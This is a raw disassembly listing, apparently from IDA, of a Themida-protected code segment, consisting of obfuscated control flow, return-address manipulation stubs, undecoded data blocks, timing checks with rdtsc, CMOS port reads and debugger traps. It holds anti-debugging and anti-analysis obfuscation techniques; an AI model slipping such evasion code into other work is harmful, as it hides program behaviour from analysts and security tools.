		xchg	eax, ebx
		pusha
		mov	[ebp+6140B95h],	esi
		pusha


loc_588417:				; CODE XREF: Themida_:0058842Fj
		mov	[ebp+6143501h],	ecx
		popa
		popa
		jb	loc_588431
		jmp	loc_588431
; ---------------------------------------------------------------------------
		dw 3512h
; ---------------------------------------------------------------------------
		rcr	byte ptr [ebx],	0F0h
		jb	short loc_588417


loc_588431:				; CODE XREF: Themida_:0058841Fj
					; Themida_:00588425j
		push	0
		push	edi
		call	sub_58843C
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58843C	proc near		; CODE XREF: Themida_:00588434p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 14h
		inc	edi
		push	edi
		retn
sub_58843C	endp

; ---------------------------------------------------------------------------
		pusha
		jg	$+6
		lea	eax, [ebp+6140F99h]
		push	eax
		jns	$+6
		mov	[esp], eax
		push	0
		push	edi
		call	sub_58846E
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58846E	proc near		; CODE XREF: Themida_:00588466p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 16h
		inc	edi
		push	edi
		retn
sub_58846E	endp

; ---------------------------------------------------------------------------
		pop	ecx
		sub	al, [ecx+14A9B58Bh]
		adc	al, 6
		push	0
		push	0
		push	ebp
		call	sub_588494
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_588494	proc near		; CODE XREF: Themida_:0058848Cp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 14h
		inc	ebp
		push	ebp
		retn
sub_588494	endp

; ---------------------------------------------------------------------------
		dd 6AFA8BC4h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1904h, 0C3514100h, 0CEAE810Ah, 858D32E9h, 617F9FAh
		dd 0FD7DE681h, 0C08319A2h, 56006A05h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1904h,	0C3564600h, 196BF660h
		dd 8C0FAB64h, 6, 11A58509h, 60900614h, 0F525051h, 5A585A31h
		dd 6A905061h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 15042444h, 41000000h, 0E544C351h, 73F68157h,	5E1284BEh
		dd 0B49B58Bh, 6A0614h, 0F3D8589h, 6A0614h, 306DBD89h, 95FF0614h
		dd 6141A71h, 5A1BD8Bh, 9D8D0614h, 617A8FCh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 0F6C35242h, 83468421h
		dd 21F04046h, 4EF8166h,	0FD3FF41h, 1A8Ah, 14890F00h, 0E8000000h
		dd 0Eh,	96A80AFh, 9948D15Fh, 5778ADC5h,	0FF5FC32Bh, 14236D85h
		dd 57006A06h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1C04h
		dd 0C3574700h, 0CBAD56BCh, 6479B583h, 86BF660Bh, 88AE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5885DE:				; DATA XREF: Themida_:00549B1Co
					; Themida_:00549D84o
		call	$+5
		pop	ebp
		sub	ebp, 617FA04h
		mov	di, 0B1B9h
		jmp	loc_5885FC
; ---------------------------------------------------------------------------
		db 0DBh
		dd 6829AE22h, 96EF108Dh
; ---------------------------------------------------------------------------


loc_5885FC:				; CODE XREF: Themida_:005885EEj
		cmp	dword ptr [ebp+6141AA5h], 7D0h
		jbe	loc_58873F
		push	0
		push	ecx
		call	sub_588617
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_588617	proc near		; CODE XREF: Themida_:0058860Fp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Ah
		inc	ecx
		push	ecx
		retn
sub_588617	endp

; ---------------------------------------------------------------------------
		db 0FCh
		dd 0A86DC4F5h, 9D8B29C8h, 6142A05h, 7E9h, 0E4C4A600h, 0C7203F66h
		dd 100E381h, 0BE660000h, 0DB0B7063h, 8C850Fh, 8B660000h
		dd 0DBD83F9h, 617F8h, 41840Fh, 14E80000h, 39000000h, 8288F25h
		dd 94CC8B7Fh, 6D005109h, 3599186Ch, 0F76E705h, 0E95FFFB7h
		dd 67h,	0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 17h
		dd 62C35646h, 0C7671035h, 17F80D85h, 106h, 56006A00h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1C04h, 0C3564600h
		dd 0BAA35F4Bh, 9F55242Bh, 15E9A2h, 0F8510000h, 8B66515Fh
		dd 85C75EF7h, 617F80Dh,	0
; ---------------------------------------------------------------------------
		movsx	edi, dx
		lea	ebx, [ebp+6142A05h]
		push	0
		push	eax
		call	sub_5886FC
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5886FC	proc near		; CODE XREF: Themida_:005886F4p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Ch
		inc	eax
		push	eax
		retn
sub_5886FC	endp

; ---------------------------------------------------------------------------
		dd 2280375Bh, 0D1195ED5h, 0D5B58BA2h, 8106141Fh, 0FFFEFF23h
		dd 12E8FFh, 52AE0000h, 1E89F9F1h, 0B60FAA4Eh, 0ECAA2D61h
		dd 0A8F05199h, 2F65B529h
; ---------------------------------------------------------------------------
		adc	al, 6
		pop	edi


loc_58873F:				; CODE XREF: Themida_:00588606j
		mov	bx, ds
		sub	[ebp+6142F35h],	ecx
		test	bl, 4
		jz	loc_5887C8
		push	0
		push	ebx
		call	sub_58875C
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58875C	proc near		; CODE XREF: Themida_:00588754p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Ah
		inc	ebx
		push	ebx
		retn
sub_58875C	endp

; ---------------------------------------------------------------------------
		sub	al, 0Fh
		sbb	[edx-388574h], ah
		xchg	eax, ebp
		inc	ebp
		db	2Eh
		adc	al, 6
		push	0
		push	esi
		call	sub_588784
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_588784	proc near		; CODE XREF: Themida_:0058877Cp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 18h
		inc	esi
		push	esi
		retn
sub_588784	endp

; ---------------------------------------------------------------------------
		dd 7482DCBBh, 0D98D01E3h, 1061404h, 1402498Dh, 34BE9006h
		dd 50213B55h, 7E8h, 0FCC62600h,	0DFAB1533h, 5E525250h
		dd 585A310Fh, 0B589905Fh, 6142EA1h
; ---------------------------------------------------------------------------


loc_5887C8:				; CODE XREF: Themida_:0058874Bj
		jmp	loc_588C4E
; ---------------------------------------------------------------------------
		push	0
		push	ecx
		call	sub_5887D8
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5887D8	proc near		; CODE XREF: Themida_:005887D0p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 18h
		inc	ecx
		push	ecx
		retn
sub_5887D8	endp

; ---------------------------------------------------------------------------
		dd 0F1C0AB28h, 6890FFFh, 29000000h, 141C258Dh, 0F00B006h
		dd 70E6F2BFh, 0AE9h, 0F7AE2800h, 3A247A13h, 0E483B848h
		dd 56006A71h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1704h
		dd 0C3564600h, 0B6800B92h, 475B501h, 0B60F0614h, 56006AD8h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1B04h, 0C3564600h
		dd 554D1FFDh, 9E72580Eh, 6880Fh, 0BD230000h, 6141631h
		dd 6BAh, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1804h, 0C3524200h, 0EB8B9C2Bh, 29FC60A2h, 1408DD95h
		dd 0C38B6106h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 17h,	0EFC35747h, 66988F15h, 0E8C1F78Bh, 6890F04h, 2B000000h
		dd 1425A1BDh, 0E2F76606h, 24058D89h, 0D82B0614h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 21C35242h, 0B45DAEAEh
		dd 0BC24248Ch, 6890Fh, 0B5890000h, 6143161h, 14E950h, 0F1450000h
		dd 74BD6BCAh, 0C8E845B4h, 8692A4E9h, 25646318h,	1C89DC4Ch
		dd 57006A24h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1A04h
		dd 0C3574700h, 2F5534F5h, 2B0981BFh, 1406BDBDh,	0A5B5FF06h
		dd 8B06141Ah, 14060DB5h, 6995FF06h, 6A061411h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 15042444h, 41000000h
		dd 3DDFC351h, 2509BD8Bh, 0B00614h, 0E6F0BF0Fh, 0FA8B6670h
		dd 6A71E4h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h
		dd 52420000h, 0FFEA51C3h, 3CC989CAh, 9B830F61h,	6A000002h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1D042444h
		dd 45000000h, 0B62DC355h, 0F0232BF7h, 2AAC7E0Ah, 6AD8B60Fh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 16042444h
		dd 43000000h, 0E6CFC353h, 5E856h, 88B50000h, 5F4B2E35h
		dd 6BAh, 199D2900h, 8B06142Eh, 3E3BFC3h, 0E8C17AD9h, 57006A04h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1704h, 0C3574700h
		dd 4D860154h, 1371B50Bh, 0F7660614h, 55B529E2h,	2B061413h
		dd 50006AD8h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1704h
		dd 0C3504000h, 2D1E06CEh, 3723BF66h, 6A58F9h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 140424h, 57470000h, 0D82B32C3h
		dd 1BC880Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 190424h, 52420000h, 0F60124C3h, 0B93454DAh, 7, 3071B58Bh
		dd 0C1830614h, 50006A00h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1904h, 0C3504000h, 0AE71E3C5h, 0BD89687Eh
		dd 614090Dh, 860FD93Bh,	15Eh, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Ah, 71C35343h, 5567911Fh, 95893A70h
		dd 6140369h, 0B175BF66h, 89D98C66h, 14137195h, 4C1F606h
		dd 118840Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 190424h, 56460000h, 0DD645BC3h, 81788433h, 187334D6h
		dd 4595FF74h, 6A06142Eh, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 14042444h, 41000000h, 8933C351h, 1406AD8Dh
		dd 6A5B06h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h
		dd 57470000h, 0F7CA3C3h, 6AC32BE8h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 19042444h, 40000000h, 91FAC350h
		dd 0D224874h, 0A9266CBFh, 14E843h, 72180000h, 4CCB185Eh
		dd 0FF8FB20Ah, 12E4BD9h, 0F7E65ED8h, 0BD33F65Bh, 61404D1h
		dd 8343D5Eh, 860F0000h,	56h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Ah, 8DC35545h, 25083EF6h, 2956A8E8h
		dd 140E858Dh, 2FE95E06h, 6A000000h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 14042444h, 41000000h, 60B0C351h
		dd 89DED080h, 14116D8Dh, 0C08B6106h, 3FF6D681h
		db 1Bh,	77h
; ---------------------------------------------------------------------------


loc_588C4E:				; CODE XREF: Themida_:loc_5887C8j
		mov	eax, ebx
		mov	ebx, eax
		push	0
		push	edi
		call	sub_588C5D
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_588C5D	proc near		; CODE XREF: Themida_:00588C55p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 19h
		inc	edi
		push	edi
		retn
sub_588C5D	endp

; ---------------------------------------------------------------------------
		sub	ah, dl
		sbb	al, 93h
		pop	edi
		sti
		mov	dword ptr [ebp+6140E2Dh], 3C7EB397h
		push	0
		push	ecx
		call	sub_588C88
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_588C88	proc near		; CODE XREF: Themida_:00588C80p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Bh
		inc	ecx
		push	ecx
		retn
sub_588C88	endp

; ---------------------------------------------------------------------------
		dd 0E19C0929h, 0C06AF1E5h, 781B50Bh, 0C08B0614h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 94C35646h, 0A1B0B1F2h
		dd 38E64948h, 0A5BD814Fh, 0D006141Ah, 0F000007h, 3785h
		dd 0FF5E5100h, 141AA585h, 55006A06h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1404h,	0C3554500h, 0CE924h, 0B07F0000h
		dd 19E744Fh, 9C788CA8h,	0F18B4C06h, 1AA5B5FFh, 830F0614h
		dd 6, 198DBD29h, 95FF0614h, 6141169h, 294D9D31h, 6A900614h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 16042444h
		dd 41000000h, 59A3C351h, 108A0F45h, 60000000h, 810Fh, 0B30000h
		dd 0D8D2961h, 0F061423h, 318Fh,	6880F00h, 8B000000h, 141471BDh
		dd 14E806h, 0E45C0000h,	9D29BDBEh, 6BDD0CCDh, 560EAB3Eh
		dd 5A68503Fh, 8166D467h, 0F98EEC6h, 80h, 0F78B5E00h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 86C35545h, 246DBD23h
		dd 0B58B0614h, 614234Dh, 0CF5B589h, 6A0614h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 190424h, 51410000h, 6DA388C3h
		dd 664442DDh, 89EB8EBEh, 140CB5BDh, 0F1B52306h,	8B061402h
		dd 1423A1B5h, 6AFB8B06h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1A042444h, 40000000h, 0A28DC350h,	0C1A11B6Fh
		dd 9DBD8B83h, 8B06140Eh, 142B45B5h, 0E7816606h,	9FE9270Ch
		dd 6AFFFFF7h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1B042444h, 40000000h, 0B7A5C350h, 0FD75EEBh,	0BD8BF21Dh
		dd 6143225h, 0F18BC18Bh, 4EBh, 6A0000h,	3E852h,	5A200000h
		dd 54895AC3h, 44810424h, 1B0424h, 52420000h, 0F0AA3C3h
		dd 1AE8A716h, 2850F40h,	8B000000h, 0E98589F0h, 8D06141Bh
		dd 140F9985h, 3EBF6606h, 5E89072h, 78000000h, 0A63430E0h
		dd 505EF28Bh, 8B0Fh, 6A900000h,	3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1C042444h, 46000000h, 62A2C356h, 0CA38BB56h
		dd 6A6DD7FCh, 0DD858900h, 6A06141Ah, 799D3100h,	8D061404h
		dd 18044B85h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1B04h, 0C3564600h, 15520AECh, 0A9934614h, 0BE8h, 4B26A100h
		dd 9A64423Dh, 0A934A9B3h, 2EC19D09h, 335F0614h,	141981B5h
		dd 5C08306h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 14h,	5FC35343h, 50F28B90h, 0CE9h, 0C38C6100h, 0A32B775Dh
		dd 36F75BA6h, 6A904Ah, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Bh, 0BAC35141h, 0C63A4243h, 89FCD598h, 1404D185h
		dd 8B006A06h, 7195FFF0h, 6A06141Ah, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1C042444h, 43000000h, 42D5C353h
		dd 451DC80Ch, 8D066027h, 17A8FC9Dh, 3870F06h, 66000000h
		dd 0D3FFF38Bh, 1C11BD8Bh, 85FF0614h, 614236Dh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 1C35646h, 866BC567h
		dd 0E86F1607h, 14h, 0E7FC7A7Bh,	675A107h, 0BB4F5D4Bh, 79B14D43h
		dd 0A8E50E98h, 0BFDE8166h, 0EAE95FC2h, 0E8000007h, 0
; ---------------------------------------------------------------------------
		pop	ebp
		sub	ebp, 6180455h
		push	0
		push	ebx
		call	sub_589046
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_589046	proc near		; CODE XREF: Themida_:0058903Ep

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 16h
		inc	ebx
		push	ebx
		retn
sub_589046	endp

; ---------------------------------------------------------------------------
		shr	byte ptr ds:0DD0CBE66h,	1
		jnz	loc_589069
		and	esi, 66855AE7h


loc_589069:				; CODE XREF: Themida_:0058905Dj
		cmp	dword ptr [ebp+6141AA5h], 7D0h
		jbe	loc_58919A
		sub	[ebp+614162Dh],	eax
		mov	[ebp+61413A5h],	edi
		mov	ebx, [ebp+61420B5h]
		push	0
		push	edx
		call	sub_589096
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_589096	proc near		; CODE XREF: Themida_:0058908Ep

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 17h
		inc	edx
		push	edx
		retn
sub_589096	endp

; ---------------------------------------------------------------------------
		retn	1C40h
; ---------------------------------------------------------------------------
		pop	edi
		mov	edi, [ebp+6140835h]
		and	ebx, 100h
		push	0
		push	edi
		call	sub_5890C1
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5890C1	proc near		; CODE XREF: Themida_:005890B9p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 14h
		inc	edi
		push	edi
		retn
sub_5890C1	endp

; ---------------------------------------------------------------------------
		popf
		jnz	loc_5890DE
		or	edi, [ebp+61400FDh]


loc_5890DE:				; CODE XREF: Themida_:005890D2j
		or	ebx, ebx
		jnz	loc_589174
		push	0
		push	eax
		call	sub_5890F1
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5890F1	proc near		; CODE XREF: Themida_:005890E9p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 16h
		inc	eax
		push	eax
		retn
sub_5890F1	endp

; ---------------------------------------------------------------------------
		db 2Ch,	0C9h, 0E3h
; ---------------------------------------------------------------------------
		sub	[ebp+6140FC9h],	ecx
		cmp	dword ptr [ebp+618028Fh], 0
		jz	loc_589141
		mov	si, 28CDh
		jmp	loc_58918A
; ---------------------------------------------------------------------------
		push	0
		push	ecx
		call	sub_58912B
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58912B	proc near		; CODE XREF: Themida_:00589123p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 19h
		inc	ecx
		push	ecx
		retn
sub_58912B	endp

; ---------------------------------------------------------------------------
		db 0E5h
		dd 61F1EA4Bh
; ---------------------------------------------------------------------------
		push	esi


loc_589141:				; CODE XREF: Themida_:00589111j
		mov	dword ptr [ebp+618028Fh], 1
		adc	di, 9390h
		jmp	loc_58918A
; ---------------------------------------------------------------------------
		push	0
		push	esi
		call	sub_589160
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_589160	proc near		; CODE XREF: Themida_:00589158p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 17h
		inc	esi
		push	esi
		retn
sub_589160	endp

; ---------------------------------------------------------------------------
		dd 0D513C852h
; ---------------------------------------------------------------------------


loc_589174:				; CODE XREF: Themida_:005890E0j
		mov	dword ptr [ebp+618028Fh], 0
		pusha
		and	ax, 54B1h
		mov	edi, 7DAD31EBh
		popa


loc_58918A:				; CODE XREF: Themida_:0058911Bj
					; Themida_:00589150j
		lea	ebx, [ebp+61420B5h]
		mov	di, 3D37h
		and	dword ptr [ebx], 0FFFFFEFFh


loc_58919A:				; CODE XREF: Themida_:00589073j
		mov	bx, ds
		sbb	si, 5E2Eh
		test	bl, 4
		jz	loc_589211
		mov	edi, 3EB92200h
		call	dword ptr [ebp+6142E45h]
		push	0
		push	ebp
		call	sub_5891C1
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5891C1	proc near		; CODE XREF: Themida_:005891B9p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Ah
		inc	ebp
		push	ebp
		retn
sub_5891C1	endp

; ---------------------------------------------------------------------------
		db 78h,	0E2h, 0D3h
; ---------------------------------------------------------------------------
		std
		lds	ecx, [ecx+11958912h]
		sbb	al, 14h
		push	es
		nop
		mov	di, 2C52h
		push	eax
		pusha
		jmp	loc_5891F0
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 4
		dd 33057974h
; ---------------------------------------------------------------------------


loc_5891F0:				; CODE XREF: Themida_:005891E5j
		push	eax
		push	edx
		call	near ptr loc_5891FF+1
		push	eax
		mov	bh, 0ACh
		sub	eax, 81810707h


loc_5891FF:				; CODE XREF: Themida_:005891F2p
		jnp	short loc_58925B
		rdtsc
		mov	ax, 0A6A7h
		pop	edx
		pop	eax
		popa
		nop
		xor	esi, [ebp+614090Dh]


loc_589211:				; CODE XREF: Themida_:005891A5j
		jmp	loc_589630
; ---------------------------------------------------------------------------
		adc	esi, 4EB74469h
		jg	loc_589233
		call	loc_58922C
		xor	eax, 83FE8D16h


loc_58922C:				; CODE XREF: Themida_:00589222p
		sub	edi, [ebp+6140789h]
		pop	esi


loc_589233:				; CODE XREF: Themida_:0058921Cj
		mov	al, 0
		push	eax
		jmp	loc_589244
; ---------------------------------------------------------------------------
		db 37h
		dd 7AAF5353h, 208AA5B8h
; ---------------------------------------------------------------------------


loc_589244:				; CODE XREF: Themida_:00589236j
		pop	edi
		out	70h, al		; CMOS Memory:
					; used by real-time clock
		sub	[ebp+61424F5h],	ecx
		mov	edi, esi
		in	al, 71h		; CMOS Memory
		movsx	edi, si
		movzx	ebx, al
		push	0
		push	ecx
; ---------------------------------------------------------------------------
		db 0E8h
; ---------------------------------------------------------------------------


loc_58925B:				; CODE XREF: Themida_:loc_5891FFj
		add	eax, [eax]
; ---------------------------------------------------------------------------
		db 2 dup(0), 20h
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		pop	ecx
		mov	[esp+4], ecx
		add	dword ptr [esp+4], 1Ah
		inc	ecx
		push	ecx
		retn
; ---------------------------------------------------------------------------
		pushf
		sbb	cl, ah
		jnz	short loc_5892BA
		cmpsd
		movaps	oword ptr [ebp+61412C9h], xmm6
		mov	edx, 6
		add	[ebp+6142A15h],	edi
		mov	eax, ebx
		or	[ebp+61422D5h],	ebx
		shr	eax, 4
		push	0
		push	edx
		call	sub_5892A0
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5892A0	proc near		; CODE XREF: Themida_:00589298p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 18h
		inc	edx
		push	edx
		retn
sub_5892A0	endp

; ---------------------------------------------------------------------------
		dd 0B897909Ch, 9E858h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5892BA:				; CODE XREF: Themida_:00589275j
		mov	ds:1FF6EC19h, eax
		int	3		; Trap to Debugger
		dec	eax
		or	ah, [esi+1C998D29h]
		adc	al, 6
		pop	esi
		mul	dx
		push	0
		push	esi
		call	sub_5892D8
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5892D8	proc near		; CODE XREF: Themida_:005892D0p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Ch
		inc	esi
		push	esi
		retn
sub_5892D8	endp

; ---------------------------------------------------------------------------
		dd 0F23E2000h, 0C17DE923h, 6AD82B47h, 3E85100h,	20000000h
		dd 8959C359h, 8104244Ch, 16042444h, 41000000h, 0A385C351h
		dd 6870F18h, 89000000h,	1423F99Dh, 0F2BF0F06h, 0AD73BF50h
		dd 1C8969DDh, 51006A24h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1504h, 0C3514100h, 0BD8B6852h, 61415E9h, 1AA5B5FFh
		dd 8F0F0614h, 0Ah, 5E9h, 0EA88300h, 9531BD75h, 614171Dh
		dd 116995FFh, 6A0614h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 140424h, 51410000h, 0BD8BDBC3h, 6140ADDh, 858900B0h
		dd 6140541h, 0BD8970E6h, 6141C91h, 0B70F71E4h, 0F613CF3h
		dd 28383h, 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h
		dd 1904h, 0C3564600h, 0DFF79AF0h, 800FAD8Dh, 0
; ---------------------------------------------------------------------------
		movzx	ebx, al
		push	0
		push	ebx
		call	sub_5893E2
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5893E2	proc near		; CODE XREF: Themida_:005893DAp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 15h
		inc	ebx
		push	ebx
		retn
sub_5893E2	endp

; ---------------------------------------------------------------------------
		mov	ah, 0C0h
		pusha
		jmp	loc_589409
; ---------------------------------------------------------------------------
		dw 28C4h
		dd 7A437267h, 0FF9E2AF4h, 0F176641Eh
; ---------------------------------------------------------------------------
		push	ebp


loc_589409:				; CODE XREF: Themida_:005893F5j
		popa
		mov	esi, edx
		mov	edx, 6
		push	0
		push	eax
		call	sub_58941C
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58941C	proc near		; CODE XREF: Themida_:00589414p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Ch
		inc	eax
		push	eax
		retn
sub_58941C	endp

; ---------------------------------------------------------------------------
		dd 3BF1C4F9h, 7B1918ECh, 0BD8B509Ch, 6141389h, 89C38B5Fh
		dd 14159195h, 4E8C106h,	0CE9h, 4A2B4000h, 7AF8285Fh, 0DD9E18DBh
		dd 0E2F76675h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 14h,	0F6C35747h, 0B58BD82Bh,	61416E1h, 0FD82B58h, 1A788h
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1604h
		dd 0C3524200h, 0BFD74FA9h, 12C52AF4h, 33EE8166h, 7B997h
		dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h
		dd 56460000h, 6D25FC3h,	30A1BD89h, 0C1830614h, 28E68100h
		dd 17F917Dh, 141D419Dh,	0FD93B06h, 13F86h, 57006A00h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1D04h, 0C3574700h
		dd 0AA6880BDh, 96930519h, 8C666E11h, 798D29D9h,	0F6061419h
		dd 840F04C1h, 0D1h, 7E9h, 0B50CA500h, 5F8F12ECh, 2E4595FFh
		dd 6A0614h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h
		dd 52420000h, 5499C9C3h, 7762DDCDh, 0CE90EE6h, 58000000h
		dd 3DCC4215h, 1EEEB8EDh, 0E80F8385h, 9,	47D8500Fh, 0DFBF8D11h
		dd 5E5E5245h, 56006A5Bh, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1704h, 0C3564600h, 33FA330Bh, 1C05B58Bh, 0C32B0614h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h, 0F4C35141h
		dd 297F76BAh, 0AE857h, 471B0000h, 6DD9893Ah, 720457ABh
		dd 5EFABF0Fh, 8343D5Eh,	860F0000h, 11h,	69DBD8Bh, 3DE90614h
		dd 89000000h, 140B35BDh, 6AC08B06h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 14042444h, 41000000h, 0E9C1C351h
		dd 12h,	0B0B6ACAAh, 6DC4F5FCh, 0F229C8A8h, 440122F4h, 0FE8B200Fh
; ---------------------------------------------------------------------------


loc_589630:				; CODE XREF: Themida_:loc_589211j
		mov	eax, ebx
		mov	ebx, eax
		push	0
		push	edi
		call	sub_58963F
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58963F	proc near		; CODE XREF: Themida_:00589637p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 17h
		inc	edi
		push	edi
		retn
sub_58963F	endp

; ---------------------------------------------------------------------------
		cli
		xchg	eax, ebx
		sbb	eax, 0BD9589AEh
		push	es
		adc	al, 6
		mov	dword ptr [ebp+6142A05h], 3ACE5D33h
		jnb	loc_58966A
		cld


loc_58966A:				; CODE XREF: Themida_:00589663j
		mov	eax, eax
		mov	esi, eax
		mov	edi, 227352B6h
		cmp	dword ptr [ebp+6141AA5h], 7D0h
		jnz	loc_5896B3
		push	0
		push	esi
		call	sub_58968E
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58968E	proc near		; CODE XREF: Themida_:00589686p

